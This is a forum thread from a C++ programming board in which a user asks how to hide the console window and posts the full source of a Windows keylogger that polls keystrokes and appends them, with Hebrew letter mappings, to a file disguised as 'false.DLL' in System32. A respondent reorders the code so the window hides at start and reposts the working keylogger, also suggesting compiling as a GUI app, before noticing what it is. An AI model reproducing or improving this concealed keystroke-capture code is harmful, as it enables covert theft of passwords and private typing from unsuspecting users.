Hidding the dos window

Please support our C++ advertiser: Intel Parallel Studio Home
Reply

Join Date: Oct 2009
Posts: 3
Reputation: b1t.flash0r is an unknown quantity at this point 
Solved Threads: 0
b1t.flash0r b1t.flash0r is offline Offline
Newbie Poster

Hidding the dos window

 
-1
  #1
Oct 4th, 2009
How can i hide the dos window ?
Reply With Quote Quick reply to this message  
Join Date: Mar 2008
Posts: 1,407
Reputation: William Hemsworth has much to be proud of William Hemsworth has much to be proud of William Hemsworth has much to be proud of William Hemsworth has much to be proud of William Hemsworth has much to be proud of William Hemsworth has much to be proud of William Hemsworth has much to be proud of William Hemsworth has much to be proud of William Hemsworth has much to be proud of 
Solved Threads: 114
Sponsor
William Hemsworth William Hemsworth is offline Offline
Nearly a Posting Virtuoso

Re: Hidding the dos window

 
1
  #2
Oct 4th, 2009
Will this do?
  1. #define _WIN32_WINNT 0x0500
  2. #include <windows.h>
  3. #include <iostream>
  4.  
  5. int main() {
  6. ShowWindow( GetConsoleWindow(), SW_HIDE );
  7. std::cin.ignore();
  8. }
I need pageviews! most fun profile ever :)
Reply With Quote Quick reply to this message  
Join Date: Apr 2008
Posts: 118
Reputation: marco93 is infamous around these parts marco93 is infamous around these parts marco93 is infamous around these parts 
Solved Threads: 12
marco93 marco93 is offline Offline
Junior Poster

Re: Hidding the dos window

 
-1
  #3
Oct 4th, 2009
Originally Posted by William Hemsworth View Post
Will this do?
No, you must use the GUI subsystem.
Reply With Quote Quick reply to this message  
Join Date: Mar 2008
Posts: 1,407
Reputation: William Hemsworth has much to be proud of William Hemsworth has much to be proud of William Hemsworth has much to be proud of William Hemsworth has much to be proud of William Hemsworth has much to be proud of William Hemsworth has much to be proud of William Hemsworth has much to be proud of William Hemsworth has much to be proud of William Hemsworth has much to be proud of 
Solved Threads: 114
Sponsor
William Hemsworth William Hemsworth is offline Offline
Nearly a Posting Virtuoso

Re: Hidding the dos window

 
1
  #4
Oct 4th, 2009
No, you must use the GUI subsystem.
Was I asking you?
I need pageviews! most fun profile ever :)
Reply With Quote Quick reply to this message  
Join Date: Oct 2009
Posts: 3
Reputation: b1t.flash0r is an unknown quantity at this point 
Solved Threads: 0
b1t.flash0r b1t.flash0r is offline Offline
Newbie Poster

Re: Hidding the dos window

 
-1
  #5
Oct 4th, 2009
No i still see it...
Full source:
  1. #include <iostream>
  2. using namespace std;
  3. #include <windows.h>
  4. #include <Winuser.h>
  5. #define _WIN32_WINNT 0x0500
  6.  
  7. int Save (int key_stroke, char *file);
  8.  
  9. int main(){
  10. char i;
  11.  
  12. while (1){
  13. for (i = 8; i <= 250; i++){
  14. if (GetAsyncKeyState(i) == -32767)
  15. Save(i, "C:\\Windows\\System32\\dos\\false.DLL");
  16. }
  17. }
  18. ShowWindow( GetConsoleWindow(), SW_HIDE );
  19. std::cin.ignore();
  20. system("PAUSE");
  21. return 0;
  22. }
  23. /* **************************************** */
  24. int Save (int key_stroke, char *file){
  25. if ( (key_stroke == 1) || (key_stroke == 2) )
  26. return 0;
  27.  
  28. FILE *OUTPUT_FILE;
  29. OUTPUT_FILE = fopen(file, "a+");
  30. cout << key_stroke << endl;
  31.  
  32. if (key_stroke == 8)
  33. fprintf(OUTPUT_FILE, "%s", "[מחיקה]");
  34. else if (key_stroke == 13)
  35. fprintf(OUTPUT_FILE, "%s", "\n");
  36. else if (key_stroke == 32)
  37. fprintf(OUTPUT_FILE, "%s", " ");
  38. else if (key_stroke == VK_TAB)
  39. fprintf(OUTPUT_FILE, "%s", "[טאב]");
  40. else if (key_stroke == VK_SHIFT)
  41. fprintf(OUTPUT_FILE, "%s", "[שיפט]");
  42. else if (key_stroke == VK_CONTROL)
  43. fprintf(OUTPUT_FILE, "%s", "[קונטרול]");
  44. else if (key_stroke == VK_ESCAPE)
  45. fprintf(OUTPUT_FILE, "%s", "[יציאה]");
  46. else if (key_stroke == VK_END)
  47. fprintf(OUTPUT_FILE, "%s", "[END]");
  48. else if (key_stroke == VK_HOME)
  49. fprintf(OUTPUT_FILE, "%s", "[HOME]");
  50. else if (key_stroke == VK_LEFT)
  51. fprintf(OUTPUT_FILE, "%s", "[LEFT]");
  52. else if (key_stroke == VK_UP)
  53. fprintf(OUTPUT_FILE, "%s", "[UP]");
  54. else if (key_stroke == VK_RIGHT)
  55. fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
  56. else if (key_stroke == VK_DOWN)
  57. fprintf(OUTPUT_FILE, "%s", "[DOWN]");
  58. else if (key_stroke == 190 || key_stroke == 110)
  59. fprintf(OUTPUT_FILE, "%s", ".");
  60. else if (key_stroke == 84)
  61. fprintf(OUTPUT_FILE, "%s", "א");
  62. else if (key_stroke == 67)
  63. fprintf(OUTPUT_FILE, "%s", "ב");
  64. else if (key_stroke == 68)
  65. fprintf(OUTPUT_FILE, "%s", "ג");
  66. else if (key_stroke == 83)
  67. fprintf(OUTPUT_FILE, "%s", "ד");
  68. else if (key_stroke == 86)
  69. fprintf(OUTPUT_FILE, "%s", "ה");
  70. else if (key_stroke == 85)
  71. fprintf(OUTPUT_FILE, "%s", "ו");
  72. else if (key_stroke == 90)
  73. fprintf(OUTPUT_FILE, "%s", "ז");
  74. else if (key_stroke == 74)
  75. fprintf(OUTPUT_FILE, "%s", "ח");
  76. else if (key_stroke == 89)
  77. fprintf(OUTPUT_FILE, "%s", "ט");
  78. else if (key_stroke == 72)
  79. fprintf(OUTPUT_FILE, "%s", "י");
  80. else if (key_stroke == 70)
  81. fprintf(OUTPUT_FILE, "%s", "כ");
  82. else if (key_stroke == 75)
  83. fprintf(OUTPUT_FILE, "%s", "ל");
  84. else if (key_stroke == 78)
  85. fprintf(OUTPUT_FILE, "%s", "מ");
  86. else if (key_stroke == 66)
  87. fprintf(OUTPUT_FILE, "%s", "נ");
  88. else if (key_stroke == 88)
  89. fprintf(OUTPUT_FILE, "%s", "ס");
  90. else if (key_stroke == 71)
  91. fprintf(OUTPUT_FILE, "%s", "ע");
  92. else if (key_stroke == 80)
  93. fprintf(OUTPUT_FILE, "%s", "פ");
  94. else if (key_stroke == 77)
  95. fprintf(OUTPUT_FILE, "%s", "צ");
  96. else if (key_stroke == 69)
  97. fprintf(OUTPUT_FILE, "%s", "ק");
  98. else if (key_stroke == 82)
  99. fprintf(OUTPUT_FILE, "%s", "ר");
  100. else if (key_stroke == 65)
  101. fprintf(OUTPUT_FILE, "%s", "ש");
  102. else if (key_stroke == 250)
  103. fprintf(OUTPUT_FILE, "%s", "ת");
  104. else if (key_stroke == 79)
  105. fprintf(OUTPUT_FILE, "%s", "ם");
  106. else if(key_stroke == 33)
  107. fprintf(OUTPUT_FILE, "%s", "!");
  108. else
  109. fprintf(OUTPUT_FILE, "%s", &key_stroke);
  110.  
  111. fclose(OUTPUT_FILE);
  112. return 0;
  113. }
Reply With Quote Quick reply to this message  
Join Date: Mar 2008
Posts: 1,407
Reputation: William Hemsworth has much to be proud of William Hemsworth has much to be proud of William Hemsworth has much to be proud of William Hemsworth has much to be proud of William Hemsworth has much to be proud of William Hemsworth has much to be proud of William Hemsworth has much to be proud of William Hemsworth has much to be proud of William Hemsworth has much to be proud of 
Solved Threads: 114
Sponsor
William Hemsworth William Hemsworth is offline Offline
Nearly a Posting Virtuoso

Re: Hidding the dos window

 
1
  #6
Oct 4th, 2009
You put the statements in the wrong order, my code is correct.
#include <iostream>
using namespace std;
#define _WIN32_WINNT 0x0500
#include <windows.h>
#include <Winuser.h>

int Save (int key_stroke, char *file);

int main(){
	ShowWindow( GetConsoleWindow(), SW_HIDE );
	char i;

	while (1){
		for (i = 8; i <= 250; i++){
			if (GetAsyncKeyState(i) == -32767)
				Save(i, "C:\\Windows\\System32\\dos\\false.DLL");
		}
	}
	std::cin.ignore();
	system("PAUSE");
	return 0;
}
/* **************************************** */
int Save (int key_stroke, char *file){
	 if ( (key_stroke == 1) || (key_stroke == 2) )
		return 0;

	FILE *OUTPUT_FILE;
	OUTPUT_FILE = fopen(file, "a+");
	cout << key_stroke << endl;

	if (key_stroke == 8)
		fprintf(OUTPUT_FILE, "%s", "[מחיקה]");
	else if (key_stroke == 13)
		fprintf(OUTPUT_FILE, "%s", "\n");
	else if (key_stroke == 32)
		fprintf(OUTPUT_FILE, "%s", " ");
	else if (key_stroke == VK_TAB)
		fprintf(OUTPUT_FILE, "%s", "[טאב]");
	else if (key_stroke == VK_SHIFT)
		fprintf(OUTPUT_FILE, "%s", "[שיפט]");
	else if (key_stroke == VK_CONTROL)
		fprintf(OUTPUT_FILE, "%s", "[קונטרול]");
	else if (key_stroke == VK_ESCAPE)
		fprintf(OUTPUT_FILE, "%s", "[יציאה]");
	else if (key_stroke == VK_END)
		fprintf(OUTPUT_FILE, "%s", "[END]");
	else if (key_stroke == VK_HOME)
		fprintf(OUTPUT_FILE, "%s", "[HOME]");
	else if (key_stroke == VK_LEFT)
		fprintf(OUTPUT_FILE, "%s", "[LEFT]");
	else if (key_stroke == VK_UP)
		fprintf(OUTPUT_FILE, "%s", "[UP]");
	else if (key_stroke == VK_RIGHT)
		fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
	else if (key_stroke == VK_DOWN)
		fprintf(OUTPUT_FILE, "%s", "[DOWN]");
	else if (key_stroke == 190 || key_stroke == 110)
		fprintf(OUTPUT_FILE, "%s", ".");
	else if (key_stroke == 84)
		fprintf(OUTPUT_FILE, "%s", "א");
	else if (key_stroke == 67)
		fprintf(OUTPUT_FILE, "%s", "ב");
	else if (key_stroke == 68)
		fprintf(OUTPUT_FILE, "%s", "ג");
	else if (key_stroke == 83)
		fprintf(OUTPUT_FILE, "%s", "ד");
	else if (key_stroke == 86)
		fprintf(OUTPUT_FILE, "%s", "ה");
	else if (key_stroke == 85)
		fprintf(OUTPUT_FILE, "%s", "ו");
	else if (key_stroke == 90)
		fprintf(OUTPUT_FILE, "%s", "ז");
	else if (key_stroke == 74)
		fprintf(OUTPUT_FILE, "%s", "ח");
	else if (key_stroke == 89)
		fprintf(OUTPUT_FILE, "%s", "ט");
	else if (key_stroke == 72)
		fprintf(OUTPUT_FILE, "%s", "י");
	else if (key_stroke == 70)
		fprintf(OUTPUT_FILE, "%s", "כ");
	else if (key_stroke == 75)
		fprintf(OUTPUT_FILE, "%s", "ל");
	else if (key_stroke == 78)
		fprintf(OUTPUT_FILE, "%s", "מ");
	else if (key_stroke == 66)
		fprintf(OUTPUT_FILE, "%s", "נ");
	else if (key_stroke == 88)
		fprintf(OUTPUT_FILE, "%s", "ס");
	else if (key_stroke == 71)
		fprintf(OUTPUT_FILE, "%s", "ע");
	else if (key_stroke == 80)
		fprintf(OUTPUT_FILE, "%s", "פ");
	else if (key_stroke == 77)
		fprintf(OUTPUT_FILE, "%s", "צ");
	else if (key_stroke == 69)
		fprintf(OUTPUT_FILE, "%s", "ק");
	else if (key_stroke == 82)
		fprintf(OUTPUT_FILE, "%s", "ר");
	else if (key_stroke == 65)
		fprintf(OUTPUT_FILE, "%s", "ש");
	else if (key_stroke == 250)
		fprintf(OUTPUT_FILE, "%s", "ת");
	else if (key_stroke == 79)
		fprintf(OUTPUT_FILE, "%s", "ם");
	else if(key_stroke == 33)
		fprintf(OUTPUT_FILE, "%s", "!");
	else
		fprintf(OUTPUT_FILE, "%s", &key_stroke);

	fclose(OUTPUT_FILE);
	return 0;
}
Last edited by William Hemsworth; Oct 4th, 2009 at 3:09 pm.
I need pageviews! most fun profile ever :)
Reply With Quote Quick reply to this message  
Join Date: Oct 2009
Posts: 3
Reputation: b1t.flash0r is an unknown quantity at this point 
Solved Threads: 0
b1t.flash0r b1t.flash0r is offline Offline
Newbie Poster

Re: Hidding the dos window

 
0
  #7
Oct 4th, 2009
Oh you right!
Thanks alot!
Reply With Quote Quick reply to this message  
Join Date: Mar 2008
Posts: 1,407
Reputation: William Hemsworth has much to be proud of William Hemsworth has much to be proud of William Hemsworth has much to be proud of William Hemsworth has much to be proud of William Hemsworth has much to be proud of William Hemsworth has much to be proud of William Hemsworth has much to be proud of William Hemsworth has much to be proud of William Hemsworth has much to be proud of 
Solved Threads: 114
Sponsor
William Hemsworth William Hemsworth is offline Offline
Nearly a Posting Virtuoso

Re: Hidding the dos window

 
2
  #8
Oct 4th, 2009
Alternatively, you can compile the program as a Windows application, and use
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) instead of int main()
Last edited by William Hemsworth; Oct 4th, 2009 at 3:24 pm.
I need pageviews! most fun profile ever :)
Reply With Quote Quick reply to this message  
Join Date: Mar 2008
Posts: 1,407
Reputation: William Hemsworth has much to be proud of William Hemsworth has much to be proud of William Hemsworth has much to be proud of William Hemsworth has much to be proud of William Hemsworth has much to be proud of William Hemsworth has much to be proud of William Hemsworth has much to be proud of William Hemsworth has much to be proud of William Hemsworth has much to be proud of 
Solved Threads: 114
Sponsor
William Hemsworth William Hemsworth is offline Offline
Nearly a Posting Virtuoso

Re: Hidding the dos window

 
2
  #9
Oct 4th, 2009
Ahh crap, I read your code, I just helped you improve a keylogger.
Luckily, it's one of bad quality which wont do any harm.
Last edited by William Hemsworth; Oct 4th, 2009 at 3:28 pm.
I need pageviews! most fun profile ever :)
Reply With Quote Quick reply to this message  
Reply

Message:



Similar Threads
Other Threads in the C++ Forum
Thread Tools Search this Thread



About Us | Contact Us | Advertise | DaniWeb | Acceptable Use Policy | RSS Feed

©2003 - 2009 DaniWeb® LLC